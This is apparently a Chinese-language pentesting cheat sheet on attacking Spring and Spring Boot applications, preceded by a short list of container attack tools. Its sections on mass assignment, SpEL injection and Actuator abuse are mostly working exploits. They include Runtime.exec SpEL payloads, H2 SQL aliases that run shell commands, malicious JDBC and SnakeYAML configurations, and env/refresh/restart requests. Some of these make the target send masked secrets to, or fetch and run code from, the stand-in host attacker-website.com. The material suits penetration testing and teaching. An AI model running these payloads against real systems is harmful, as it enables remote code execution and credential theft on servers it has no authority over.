
* [理解和强化Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)


# 容器分析工具

* [CDK](https://github.com/cdk-team/CDK) - 容器渗透测试工具包，提供在不同精简容器中的稳定漏洞利用，无需任何操作系统依赖
* [deepce](https://github.com/stealthcopter/deepce) - Docker枚举、权限提升和容器逃逸（DEEPCE）
* [dive](https://github.com/wagoodman/dive) - 用于探索docker镜像中每个图层的工具
* [SecretScanner](https://github.com/deepfence/SecretScanner) - 在容器镜像和文件系统中查找机密和密码


# Spring


# 概述

{% embed url="<https://www.marcobehler.com/guides/spring-framework>" %}

{% embed url="<https://www.marcobehler.com/guides/spring-mvc>" %}

{% embed url="<https://www.marcobehler.com/guides/spring-boot>" %}

{% embed url="<https://www.marcobehler.com/guides/spring-security>" %}


# 批量赋值

软件框架有时允许开发人员自动将HTTP请求参数绑定到程序代码变量或对象中，以使开发人员更容易使用该框架。这有时会造成危害。

攻击者有时可以使用这种方法来创建开发人员从未预期的新参数，从而在程序代码中创建或覆盖未预期的变量或对象。

当满足以下条件时，此功能变得可被利用：

* 攻击者可以猜测常见的敏感字段。
* 攻击者可以访问源代码并可以审查模型中的敏感字段。
* 并且包含敏感字段的对象具有空构造函数。

## 示例

假设有一个用于编辑用户账户信息的表单：

```html
<form>
     <input name="userId" type="text">
     <input name="password" type="text">
     <input name="email" text="text">
     <input type="submit">
</form>
```

以下是表单绑定的对象：

```java
@Data
public class User {
   private String userid;
   private String password;
   private String email;
   private boolean isAdmin;
}
```

以下是处理请求的控制器：

```java
@RequestMapping(value = "/addUser", method = RequestMethod.POST)
public String submit(User user) {
   userService.add(user);
   return "successPage";
}
```

以下是典型的请求：

```http
POST /addUser
...
userid=attacker&password=s3cret_pass&email=attacker@attacker-website.com
```

以下是我们在其中设置User类实例的isAdmin属性值的漏洞利用：

```http
POST /addUser
...
userid=attacker&password=s3cret_pass&email=attacker@attacker-website.com&isAdmin=True
```

## 参考

* [OWASP Mass Assignment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md)
* [Spring MVC, protect yourself from Mass Assignment](https://domineospring.wordpress.com/2015/05/18/spring-mvc-proteja-se-do-mass-assignment/)
* [Security of your application and frameworks: the attack on GitHub](https://blog.caelum.com.br/seguranca-de-sua-aplicacao-e-os-frameworks-ataque-ao-github/)
* [Write up: Spring's setDisallowedFields bypass in the VolgaCTF2019 Shop task](https://gitlab.com/salted-crhackers/writeups/-/tree/master/2019/volgactf-qualifier/shop)
* [Write up: The VolgaCTF2019 Shop v2 task](https://balsn.tw/ctf_writeup/20190329-volgactfqual/#shop-v2)


# 路由滥用

## 暴露路由

暴露Spring应用程序的相关接口和参数信息并不是漏洞，但它有助于理解应用程序。此外，在检查访问控制漏洞等时可以使用它。

检查以下路由以查看应用程序是否提供路径和参数信息：

此外，检查以下Spring Boot Actuators相关路由，它们可以暴露接口地址信息（但不包括参数相关信息）：

参考：

* [Spring Boot Vulnerability Exploit Check List: Leakage of routing address and interface call details](https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F)

## 使用/..;/进行路径遍历

Spring Boot > 2.2.6将`https://website.com/allowed/..;/internal`视为与`https://website.com/allowed/../internal`相同。

这可能导致Spring和中间件之间的不一致性。例如，如果应用程序部署在nginx后面，您可以绕过对允许路径的限制。假设nginx将所有对`/allowed/`的请求转发到应用程序并拒绝其他请求。在这种情况下，对`/allowed/../internal`的请求将被阻止，但是`/allowed/..;/internal`不会被阻止 - nginx会将其原样传递给应用程序，它将命中`/internal`。

参考：

* [@0xsapra tweet](https://mobile.twitter.com/0xsapra/status/1468551562712682499)

## useSuffixPatternMatch错误配置

Spring Framework版本< 5.3有一个名为[useSuffixPatternMatch](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/servlet/config/annotation/PathMatchConfigurer.html)的设置（在5.2.4中已弃用）。它启用了后缀模式匹配，默认设置为`true`。这意味着映射到`/adminURL`的方法也会匹配`/adminURL[.].*`。因此，这可能导致潜在的URL过滤器绕过，从而允许访问受限区域。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-0452c933cdd8f300f958b1637e95063e341a96b1%2Fspring-auth-bypass-with-useSuffixPatternMatch.png?alt=media)

参考：

* [@ptswarm tweet](https://twitter.com/ptswarm/status/1631287479604060161)


# SpEL注入

## Spring Expression Language (SpEL) 概述

Spring Expression Language（简称SpEL）是一种强大的表达式语言，支持在运行时查询和操作对象图。

{% embed url="<https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html>" %}

### 使用Spring表达式接口进行表达式求值

以下代码介绍了SpEL API来评估字面字符串表达式`Hello World!`：

```java
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
String message = (String) exp.getValue();
```

`message`变量的值就是简单的`Hello World!`。

### EvaluationContext接口

[EvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/EvaluationContext.html)接口在评估表达式时用于解析属性、方法、字段，并帮助执行类型转换。有两个主要的现成实现：

* [StandardEvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/spel/support/StandardEvaluationContext.html)。一个功能强大且高度可配置的`EvaluationContext`实现。此上下文使用所有适用策略的标准实现，基于反射来解析属性、方法和字段。
* [SimpleEvaluationContext](https://docs.spring.io/spring-framework/docs/6.0.0-SNAPSHOT/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html)。`EvaluationContext`的基本实现，专注于基本的SpEL功能和自定义选项，针对简单的条件评估特别是数据绑定场景。

```java
StandardEvaluationContext standardContext = new StandardEvaluationContext();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('id')");
// 执行'id'命令（默认使用标准上下文）
exp.getValue();
// 执行'id'命令
exp.getValue(standardContext);
// 接收错误消息
exp.getValue(simpleContext);
```

### 表达式支持定义Bean定义

SpEL表达式可以与基于XML或注解的配置元数据一起使用，用于定义BeanDefinitions。在这两种情况下，定义表达式的语法形式为`#{ <expression string> }`。

#### 基于XML的配置

您可以使用表达式设置属性或构造函数参数值。

```xml
<bean id="numberGuess" class="org.spring.samples.NumberGuess">
    <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
    <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
    <!-- 其他属性 -->
</bean>
```

#### 基于注解的配置

`@Value`注解可以放在字段、方法和方法/构造函数参数上以指定默认值。

```java
public static class FieldValueTestBean {
  @Value("#{ systemProperties['user.region'] }")
  private String defaultLocale;

  public void setDefaultLocale(String defaultLocale)
  {
    this.defaultLocale = defaultLocale;
  }

  public String getDefaultLocale()
  {
    return this.defaultLocale;
  }
}
```

### 语言参考

{% embed url="<https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html#expressions-language-ref>" %}

## SpEL注入

当用户控制的数据直接传递给SpEL表达式解析器时，会发生SpEL注入。例如，以下方法使用标准上下文来评估SpEL表达式：

```java
private static final SpelExpressionParser PARSER = new SpelExpressionParser();
private static final StandardEvaluationContext CONTEXT = new StandardEvaluationContext();

@PostMapping(path = "/")
public void method(@RequestBody String path, @RequestBody String value) {
    Expression expression = PARSER.parseExpression(path);
    expression.setValue(CONTEXT, value);
    // ...
}
```

因此，您可以通过发送以下`POST`请求来获得代码执行：

```http
POST / HTTP/1.1
Host: vulnerable-website.com
...

{"path":"T(java.lang.Runtime).getRuntime().exec('touch executed').x", "value":"executed"}
```

如果您可以访问源代码，请尝试使用以下关键字搜索易受攻击的代码：

* `SpelExpressionParser`、`EvaluationContext`、`parseExpression`、`@Value("#{ <expression string> }")`
* `#{ <expression string> }`、`${<property>}`、`T(<javaclass>)`

如果源代码不可用，值得检查Spring Boot执行器提供的`metrics`和`beans`端点。这些端点可以扩展可用bean列表及其接受的参数。

此外，尝试在服务的不同元素中使用表达式：

* 参数名称和值：
  * `variable[<expression string>]=123`
  * `variable=123&<expression string>=123`
  * `{"<expression string>":"123"}`
  * `{"variable":"<expression string>"}`
* HTTP头部：
  * `Cookie: cookie_name=<expression string>`
  * `Cookie: <expression string>=cookie_value`
  * `Private-Token: <expression string>`
* 等等。

您可以使用以下payload作为表达式字符串：

```java
${1+3}
T(java.lang.Runtime).getRuntime().exec("dig <URL>")
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('dig <URL>')
new java.lang.ProcessBuilder({'dig <URL>'}).start()
${user.name}
```

## Spring boot whitelabel错误页面RCE

此漏洞需要以下条件：

* Spring Boot版本`1.1.0 - 1.1.12`、`1.2.0 - 1.2.7`、`1.3.0`
* 在Spring Boot中至少有一个接口触发默认的whitelabel错误页面

检查下一个Spring Boot应用程序：[LandGrey/springboot-spel-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce)。如果您向`/article?id=hop`发送请求，应用程序将返回代码为`500`的whitelabel错误。但是，如果您向`/article?id=${7*7}`发送请求，应用程序将返回计算值`49`的错误页面。发生这种情况是因为：

1. Spring Boot使用`org.springframework.util.PropertyPlaceholderHelper`类处理错误中的URL参数
2. `PropertyPlaceholderHelper.parseStringValue`方法解析URL参数
3. `${}`中包含的内容将被`org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration`类的`resolvePlaceholder`方法解析并作为SpEL表达式执行

因此，这导致RCE，您可以使用以下步骤执行任意命令：

1. 使用下一个python脚本准备payload（此示例准备执行`open -a Calculator`命令的payload）：

   ```python
   cmd = 'open -a Calculator'

   h = ''
   for x in cmd:
       h += hex(ord(x)) + ','

   payload = h.rstrip(',')

   print('${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{' + payload + '}))}')
   ```
2. 在`id`参数中发送payload：

   ```http
   /article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
   ```
3. `open -a Calculator`将被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: whitelabel error page SpEL RCE](https://github.com/LandGrey/SpringBootVulExploit#0x01whitelabel-error-page-spel-rce)

## SimpleEvaluationContext ReDoS

`SimpleEvaluationContext`上下文阻止任意代码执行并写入错误消息。但是，您仍然可以利用ReDoS攻击。

```java
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
Expression exp = parser.parseExpression("'aaaaaaaaaaaaaaaaaaaaaaaa!'.matches('^(a+)+$')");
// ReDoS
exp.getValue(simpleContext);
```

## 参考

* [Spring Framework Docs: Spring Expression Language (SpEL)](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html)
* [SpEL Injection (Russia)](https://habr.com/ru/company/dsec/blog/433034/)


# Spring Boot执行器

## Spring Boot执行器概述

Spring Boot包括许多称为[执行器](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html)的附加功能，以帮助在应用程序部署到生产环境时监控和控制应用程序。执行器允许使用HTTP或JMX端点来控制应用程序。如果应用程序配置不当，审计、健康和指标收集可能会为服务器打开隐藏的后门。

Spring Boot包含许多内置的[端点](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints)（或Spring Boot 1.x的[端点](https://docs.spring.io/spring-boot/docs/1.5.x/reference/html/production-ready-endpoints.html)），并允许开发人员添加自己的端点。例如，`health`端点提供基本的应用程序健康信息。

每个单独的端点都可以启用或禁用，并通过HTTP或JMX暴露。端点在启用和暴露时被认为是可用的。内置端点只有在可用时才会自动配置。大多数应用程序选择通过HTTP暴露，其中端点的ID加上`/actuator`前缀映射到URL。例如，默认情况下，health端点映射到`/actuator/health`。

要了解更多关于执行器端点及其请求和响应格式，请查看[Spring Boot Actuator Web API Documentation](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/)。

## env

[env](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#env)暴露Spring的`ConfigurableEnvironment`中的属性。

{% hint style="info" %}
Spring Boot 2.x使用`json`而不是`x-www-form-urlencoded`来通过`env`端点进行属性更改请求
{% endhint %}

{% hint style="info" %}
`env`和`configprops`端点返回的信息可能有些敏感，因此默认情况下匹配特定模式的键会被[净化](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/howto-actuator.html#howto-sanitize-sensible-values)（替换为`*`）。但是，下面您可以找到几种检索这些值的方法
{% endhint %}

### eureka.client.serviceUrl.defaultZone

`eureka.client.serviceUrl.defaultZone`需要以下条件：

* `/refresh`端点可用
* 应用程序使用`spring-cloud-starter-netflix-eureka-client`依赖

#### 检索env属性

您可以通过以下步骤获取`env`属性值的明文：

1. 设置`eureka.client.serviceUrl.defaultZone`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/x-www-form-urlencoded

   {
       "name": "eureka.client.serviceUrl.defaultZone",
       "value": "http://value:${your.property.name}@attacker-website.com/"
   }
   ```
2. 刷新配置

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
3. 从`attacker-website.com`日志中的`Authorization`头部检索属性值

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 2)](https://github.com/LandGrey/SpringBootVulExploit#0x04%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%BA%8C)

#### XStream反序列化RCE

需要`Eureka-Client`版本`< 1.8.7`。

您可以通过以下步骤获得RCE：

1. 设置一个响应恶意XStream payload的网站，查看[springboot-xstream-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py)
2. 设置`eureka.client.serviceUrl.defaultZone`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "eureka.client.serviceUrl.defaultZone",
       "value": "http://attacker-website.com/payload"
   }
   ```
3. 刷新配置：

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
4. 代码将被执行

可能的原因是：

1. `eureka.client.serviceUrl.defaultZone`属性设置为外部eureka服务器URL
2. 刷新触发对虚假eureka服务器的请求，该服务器将返回恶意payload
3. 响应解析触发XStream反序列化，导致代码执行

参考：

* [Spring Boot Vulnerability Exploit Check List: eureka xstream deserialization RCE](https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce)

### logging.config

`logging.config`需要`/restart`可用。

#### Logback JNDI RCE

`logging.config`可以通过Logback JNDI导致RCE，查看[Logback JNDI RCE](#logback-jndi-rCE)。

如何利用：

1. 托管具有以下上下文的`logback`配置XML文件：

   ```xml
   <configuration>
       <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
   </configuration>
   ```
2. 托管恶意LDAP服务，查看[文章](https://landgrey.me/blog/21/)如何准备payload并启动服务
3. 设置`logging.config`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "logging.config",
       "value": "http://attacker-website.com/logback.xml"
   }
   ```
4. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

资源：

* [Spring Boot Vulnerability Exploit Check List: restart logging.config logback JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x09restart-loggingconfig-logback-jndi-rce)

#### Groovy RCE

如何利用：

1. 托管具有以下内容的`payload.groovy`文件：

   ```groovy
   Runtime.getRuntime().exec("open -a Calculator")
   ```
2. 设置`logging.config`：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "logging.config",
       "value": "http://attacker-website.com/payload.groovy"
   }
   ```
3. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

该链包含以下步骤：

1. 攻击者使用`logging.config`属性设置Logback配置文件
2. 应用程序在重启后请求配置
3. `logback-classic`中的`ch.qos.logback.classic.util.ContextInitializer.java`确定URL是否以`groovy`结尾
4. 配置文件中的Groovy代码被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: restart logging.config groovy RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0arestart-loggingconfig-groovy-rce)

### spring.main.sources

`spring.main.sources`需要`/restart`可用。

如何利用：

1. 托管具有以下内容的`payload.groovy`文件：

   ```groovy
   Runtime.getRuntime().exec("open -a Calculator")
   ```
2. 设置`logging.config`：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.main.sources",
       "value": "http://attacker-website.com/payload.groovy"
   }
   ```
3. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

该链包含以下步骤：

1. 将`spring.main.sources`设置为带有payload的外部URL
2. 应用程序在重启后请求该URL
3. `spring-boot`中的`org.springframework.boot.BeanDefinitionLoader.java`确定URL是否以`groovy`结尾
4. 配置文件中的Groovy代码被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: restart spring.main.sources groovy RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0brestart-springmainsources-groovy-rce)

### spring.datasource.tomcat.validationQuery

`spring.datasource.tomcat.validationQuery`允许指定任何SQL查询，该查询将自动针对当前数据库执行。它可以是任何语句，包括insert、update或delete。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-822530656d8c9bca75fc3bec105435ce111ddb70%2Fvalidation-query.png?alt=media)

### spring.datasource.tomcat.url

`spring.datasource.tomcat.url`允许修改当前的JDBC连接字符串。

这里的问题是，当应用程序建立到数据库的连接已经在运行时，仅更新JDBC字符串没有效果。但是您可以尝试使用`spring.datasource.tomcat.max-active`来增加同时数据库连接的数量。

因此，您可以更改JDBC连接字符串，增加连接数量，然后向应用程序发送许多请求来模拟重负载。在负载下，应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-83a435de651da5c9ac4a97519d942eba0204fee2%2Fcurrent-jdbc-connection.png?alt=media)

### spring.datasource.data

如果满足以下条件，`spring.datasource.data`可用于获得RCE：

* `/restart`可用
* 使用了`h2database`和`spring-boot-starter-data-jpa`依赖

如何利用：

1. 托管具有以下内容的`payload.sql`文件：

   ```sql
   CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
   ```

   payload中的`T5`方法必须在命令执行后重命名（为`T6`），然后才能重新创建和使用。否则，下次应用程序重启时漏洞将不会触发。
2. 设置`spring.datasource.data`：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.data",
       "value": "http://attacker-website.com/payload.sql"
   }
   ```
3. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

利用链包含以下步骤：

1. 攻击者将`spring.datasource.data`设置为JDBC DML SQL文件的URL
2. 应用程序在重启后请求该URL
3. `spring-boot-autoconfigure`中的`org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java`使用`runScripts`方法执行h2数据库SQL代码，导致RCE

参考：

* [Spring Boot Vulnerability Exploit Check List: restart spring.datasource.data h2 database RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0crestart-springdatasourcedata-h2-database-rce)

### spring.datasource.url

`spring.datasource.url`是仅用于第一次连接的数据库连接字符串。您可以将其与MySQL中的JDBC反序列化漏洞链接以获得RCE。该漏洞需要以下条件：

* `/refresh`可用
* 使用了`mysql-connector-java`依赖

{% hint style="info" %}
更改`spring.datasource.url`将暂时禁用所有正常的数据库服务
{% endhint %}

如何利用：

1. 使用`/actuator/env`端点获取以下值：
   * `mysql-connector-java`版本号（5.x或8.x）
   * 常见的反序列化小工具，如`commons-collections`
   * `spring.datasource.url`值，以便稍后制定其正常的JDBC URL
2. 使用[ysoserial](https://github.com/frohoff/ysoserial)创建payload：

   ```bash
   java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
   ```
3. 使用[springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py)托管`payload.ser`
4. 设置`spring.datasource.url`属性：

   `mysql-connector-java`版本5.x：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.url",
       "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
   }
   ```

   `mysql-connector-java`版本8.x：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.url",
       "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
   }
   ```
5. 刷新配置：

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
6. 尝试访问将触发数据库查询的端点，例如`/product/list`，或找到其他方式查询数据库并触发漏洞

利用链包含以下步骤：

* `spring.datasource.url`设置为外部MySQL JDBC URL
* 刷新配置
* 应用程序在执行数据库查询时使用恶意的MySQL JDBS URL建立新的数据库连接
* 恶意MySQL服务器在建立连接的适当阶段返回payload
* `mysql-connector-java`反序列化payload并执行任意代码

参考：

* [Spring Boot Vulnerability Exploit Check List: mysql jdbc deserialization RCE](https://github.com/LandGrey/SpringBootVulExploit#0x08mysql-jdbc-deserialization-rce)

### spring.cloud.bootstrap.location

`spring.cloud.bootstrap.location`需要以下条件：

* `/refresh`端点可用
* `spring-cloud-starter`版本`< 1.3.0.RELEASE`

#### 检索env属性

您可以通过以下步骤获取`env`属性值的明文：

1. 设置`spring.cloud.bootstrap.location`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.cloud.bootstrap.location",
       "value": "http://attacker-website.com/?=${your.property.name}"
   }
   ```
2. 刷新配置

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
3. 从`attacker-website.com`日志中检索属性值

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 3)](https://github.com/LandGrey/SpringBootVulExploit#0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89)

#### SnakeYML RCE

`spring.cloud.bootstrap.location`允许加载YAML格式的外部配置。您可以通过以下步骤获得代码执行：

1. 在`http://attacker-website.com/config.yml`托管`config.yml`，内容如下：

   ```yaml
   !!javax.script.ScriptEngineManager [
     !!java.net.URLClassLoader [[
       !!java.net.URL ["http://attacker-website.com/payload.jar"]
     ]]
   ]
   ```
2. 托管包含将被执行的代码的`payload.jar`，查看[marshalsec research](https://github.com/mbechler/marshalsec)和[artsploit/yaml-payload](https://github.com/artsploit/yaml-payload)了解如何准备payload
3. 设置`spring.cloud.bootstrap.location`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.cloud.bootstrap.location",
       "value": "http://attacker-website.com/yaml-payload.yml"
   }
   ```
4. 刷新配置：

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
5. 代码将被执行

可能的原因是：

1. `spring.cloud.bootstrap.location`设置为带有外部恶意配置的URL
2. 刷新触发对远程服务器上配置文件的请求并检索其内容
3. 由于反序列化漏洞，`SnakeYAML`在解析恶意配置时完成指定的操作
4. `SnakeYAML`使用`java.net.URL`从远程服务器拉取恶意jar
5. `SnakeYAML`在jar中搜索实现`javax.script.ScriptEngineFactory`接口的类并创建其实例
6. 实例创建导致恶意代码执行

参考：

* [Spring Boot Vulnerability Exploit Check List: spring cloud SnakeYAML RCE](https://github.com/LandGrey/SpringBootVulExploit#0x02spring-cloud-snakeyaml-rce)
* [Spring Cloud Env Study Notes of Exploit Spring Boot Actuator](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/)

### spring.datasource.hikari.connection-test-query

`spring.datasource.hikari.connection-test-query`设置一个在从池中授予连接之前将执行的查询。如果满足以下条件，它可能导致RCE：

* `/restart`端点可用
* 使用了`com.h2database.h2`依赖

您可以通过以下步骤获得代码执行：

1. 设置`spring.datasource.hikari.connection-test-query`属性

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.hikari.connection-test-query",
       "value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"
   }
   ```

   payload中的`T5`方法必须在命令执行后重命名（为`T6`），然后才能重新创建和使用。否则，下次应用程序重启时漏洞将不会触发。
2. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

工作原理：

* `spring.datasource.hikari.connection-test-query`设置为使用CREATE ALIAS创建自定义函数的恶意SQL语句
* `spring.datasource.hikari.connection-test-query`对应于HikariCP数据库连接池的`connectionTestQuery`配置，并定义在新数据库连接之前要执行的SQL语句
* 重启建立新的数据库连接
* 自定义函数被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: restart h2 database query RCE](https://github.com/LandGrey/SpringBootVulExploit#0x06restart-h2-database-query-rce)
* [Writeup: Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)

## gateway

[gateway](https://cloud.spring.io/spring-cloud-gateway/reference/html/#actuator-api)执行器端点让您监控和与Spring Cloud Gateway应用程序交互。换句话说，您可以为应用程序定义路由，并使用`gateway`执行器根据这些路由触发请求。

### SSRF

至少存在以下问题：

1. 路由可以提供对隐藏或内部端点的访问，这些端点可能配置不当或存在漏洞。您可以通过向`/actuator/gateway/routes`发送`GET`请求来获取所有可用路由。
2. 如果[添加路由](https://cloud.spring.io/spring-cloud-gateway/reference/html/#creating-and-deleting-a-particular-route)不需要管理员权限，则会出现完整的SSRF。下一个请求将创建到本地主机的路由：

   ```http
   POST /actuator/gateway/routes/new_route HTTP/1.1
   Content-Type: application/json

   {
   "predicates": [
       {
       "name": "Path",
       "args": {
           "_genkey_0": "/new_route/**"
       }
       }
   ],
   "filters": [
       {
       "name": "RewritePath",
       "args": {
           "_genkey_0": "/new_route(?<path>.*)",
           "_genkey_1": "/${path}"
       }
       }
   ],
   "uri": "https://localhost",
   "order": 0
   }
   ```

   发送刷新请求以应用新路由：

   ```http
   POST /actuator/gateway/refresh HTTP/1.1
   Content-Type: application/json

   {
       "predicate": "Paths: [/new_route], match trailing slash: true",
       "route_id": "new_route",
       "filters": [
           "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
       ],
       "uri": "https://localhost",
       "order": 0
   }
   ```

参考：

* [BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR](https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/)

### SpEL代码注入

使用`3.1.0`和`3.0.6`之前版本的Spring Cloud Gateway的应用程序容易受到[CVE-2022-22947](https://tanzu.vmware.com/security/cve-2022-22947)的攻击，当Gateway Actuator端点启用、暴露且不安全时，会导致代码注入攻击。远程攻击者可以制作恶意请求，允许在远程主机上进行任意远程执行。

查看以下带有详细信息的文章：

* [CVE-2022-22947: SPEL CASTING AND EVIL BEANS](https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/)
* [Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)](https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947)
* [Spring cloud gateway injects memory horses through SPEL](https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg)

## trace或httptrace

显示HTTP跟踪信息（默认情况下，最后100个HTTP请求-响应交换）。它可能泄露内部应用程序请求的详细信息以及用户cookie和JWT令牌。

`trace`需要一个`HttpTraceRepository` bean。

## mappings

[mappings](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#mappings)显示所有`@RequestMapping`路径的整理列表。

## sessions

[sessions](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#sessions)允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序。

## shutdown

